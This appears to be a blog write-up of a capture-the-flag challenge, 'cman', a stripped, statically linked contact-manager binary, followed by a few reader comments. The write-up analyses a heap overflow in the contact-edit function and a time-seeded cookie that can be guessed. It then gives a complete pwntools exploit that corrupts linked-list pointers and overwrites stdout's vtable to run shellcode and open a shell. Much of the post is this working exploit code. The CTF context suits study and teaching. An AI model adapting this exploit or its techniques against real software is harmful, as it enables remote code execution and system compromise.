Cman is a 64 bit statically linked and stripped ELF without NX protection. I used IDA's sigmake to generate libc signatures for this binary. The program is a contact manager providing options to add, delete, edit contacts etc.
Function @00000000004021CA reads option from user and calls the necessary functions:
Cookie is set using functions @000000000040216D and @0000000000401113. The algorithm for cookie generation depends on current time.
_IO_puts was making the below call:
Note that, function checking for valid names, checks only the first character
Function @00000000004021CA reads option from user and calls the necessary functions:
A = ADD_CONTACT@00000000004019B4 D = DELETE_CONTACT@0000000000401C0D E = EDIT_CONTACT@0000000000401EBD X = EXIT@000000000040105E L = LIST_CONTACT@00000000004016E2 S = MANAGE_CONTACT@0000000000401F2DMANAGE_CONTACT provides many other options
d - delete e - edit p - previous n - next q - quit s - showContacts are saved in structures connected using doubly linked list data strucure. Below is the structure being used:
struct contact { char fname[64]; char lname[64]; char phone[14]; char header[4]; char gender[1]; char unused[1]; char cookie[4]; long int empty; struct contact *prev; struct contact *next; };The pointer @00000000006C3D58 points to head of doubly linked list. This turned out to be useful for exploitation. The program performs two initialization operations - setup a cookie value and add couple of contacts to the manager.
Cookie is set using functions @000000000040216D and @0000000000401113. The algorithm for cookie generation depends on current time.
char cookie[4]; secs = time(0); _srandom(secs); for (count = 0; count < sz; count++) { cookie[count] = rand(); } cookie |= 0x80402010Analyzing the function @0000000000401C5E used for editing a contact, I found a bug.
write("New last name: "); read(&user_input, 64, 0xA); ...... write("New phone number: "); read(&user_input, 14, 0xA); // fill the entire 14 bytes so that there is no NUL termination if (user_input) { memset(object + 128, 0, 16); sz = strlen(&user_input); if ( sz > 16 ) sz = 64; // size becomes > 16 as strlen computes length on non-NUL terminated string from last name memcpy(object + 128, &user_input, sz); // overflows entries in chunk and corrupts heap meta data }Everytime the contact is edited, the cookie value in structure is checked for corruption:
if ( *(object + 148) != COOKIE ) { IO_puts("** Corruption detected. **"); exit(-1); }To exploit this bug and overwrite the prev and next pointers of structure, cookie check needs to be bypassed. Note that cookie is generated based on current time as time(0). Checking the remote server time as below, I found that the epoch time is same as mine [Time=56ACC320].
nmap -sV 52.72.171.221 -p 22 SF-Port22-TCP:V=6.40%I=7%D=1/30%Time=56ACC320%P=x86_64-pc-linux-gnu%r(NULL SF:,2B,"SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\.4\r\n");So cookie value can be found by guessing the time, thus overflowing the prev and next pointers. Then doubly linked list delete operation can be triggered to get a write-anything-anywhere primitive. Since the binary is statically linked, one cannot target GOT entries as we do normally. So I started looking for other data structures in binary
_IO_puts was making the below call:
.text:0000000000409FF7 mov rax, [rdi+0D8h] .text:0000000000409FFE mov rdx, rbp .text:000000000040A001 mov rsi, r12 .text:000000000040A004 call qword ptr [rax+38h]This code is coming as part of call to _IO_sputn (_IO_stdout, str, len). RDI points to struct _IO_FILE_plus(_IO_stdout) in .data segment, which holds pointer to struct _IO_jump_t
struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; }; struct _IO_jump_t { JUMP_FIELD(_G_size_t, __dummy); #ifdef _G_USING_THUNKS JUMP_FIELD(_G_size_t, __dummy2); #endif JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); // this gets calledSo the idea here is to overwrite the vtable pointer with address of contact_head_ptr(.bss) - 0x38. So call qword ptr [rax+38h] will land in contact[0].fname thus directly bypassing ASLR to execute shellcode.
Note that, function checking for valid names, checks only the first character
bool check_name(char *name) { return *name > '@' && *name <= 'Z'; }Below is the full exploit:
#!/usr/bin/env python from pwn import * import ctypes import random HOST = '52.72.171.221' HOST = '127.0.0.1' PORT = 9983 context.arch = 'x86_64' libc = ctypes.cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") def get_local_time(): return libc.time(0) def get_cookie(time): libc.srandom(time) cookie = 0 for x in range(4): random = libc.rand() & 0xff cookie |= (random << (8 * x)) cookie |= 0x80402010 return p32(cookie) def add_node(soc, fname, lname, number, gender): soc.sendline("A") soc.sendlineafter("First: ", fname) soc.sendlineafter("Last: ", lname) soc.sendlineafter("Phone Number: ", number) soc.sendlineafter("Gender: ", gender) def edit_node(soc, fname, lname, new_fname, new_lname, new_number, new_gender): soc.sendline("E") soc.sendlineafter("First: ", fname) soc.sendlineafter("Last: ", lname) soc.recvline() soc.sendlineafter("New first name: ", new_fname) soc.sendlineafter("New last name: ", new_lname) soc.sendlineafter("New phone number: ", new_number) soc.sendlineafter("New gender: ", new_gender) def delete_node(soc, fname, lname): soc.sendline("D") soc.sendlineafter("First: ", fname) soc.sendlineafter("Last: ", lname) while True: local_time = get_local_time() cookie = get_cookie(local_time + random.randint(0,5)) soc = remote(HOST, PORT) soc.recvline() # edit already existing node to add shellcode fname = "Robert" lname = "Morris" new_fname = "P" + asm(shellcraft.amd64.linux.sh()) new_lname = lname new_number = "(123)123-1111" edit_node(soc, fname, lname, new_fname, new_lname, new_number, 'M') # create a new node to overflow fname = "A"*8 lname = fname number = "(123)123-1111" add_node(soc, fname, lname, number, 'M') # overflow node new_fname = fname head_ptr = 0x6C3D58 prev_ptr = p64(head_ptr - 0x38) # _IO_puts calls _IO_sputn # .text:0000000000409FF7 mov rax, [rdi+0D8h] # .text:0000000000409FFE mov rdx, rbp # .text:000000000040A001 mov rsi, r12 # .text:000000000040A004 call qword ptr [rax+38h] # RDI points to struct _IO_FILE_plus(_IO_stdout), which holds pointer to struct _IO_jump_t # overwrite pointer to _IO_jump_t with address of head node ptr-0x38 IO_FILE_plus = 0x6C2498 next_ptr = p64(IO_FILE_plus - 0xA0) chunk_sz = p64(0xC1)[:-1] new_lname = "C"*20 + cookie + p64(0) + prev_ptr + next_ptr + p64(0) + chunk_sz new_number = "(123)123-11111" edit_node(soc, fname, lname, new_fname, new_lname, new_number, 'M') res = soc.recvline().strip() if res == "** Corruption detected. **": soc.close() else: break print "[+] Found Cookie : %x" % u32(cookie) # trigger overwrite due to linked list operation delete_node(soc, fname, lname) print "[+] Getting shell" soc.interactive() # flag-{h34pp1es-g3771ng-th3r3}
Thanks Datta :)
ReplyDeleteThanks for the post! Fresh thinking
ReplyDeleteHi Reno,
ReplyDeleteCould you please also guide us how did you arrive at the struct for fname,lname etc from the assembly code? Did you use hex-decompiler?
Br,
Hemanshu.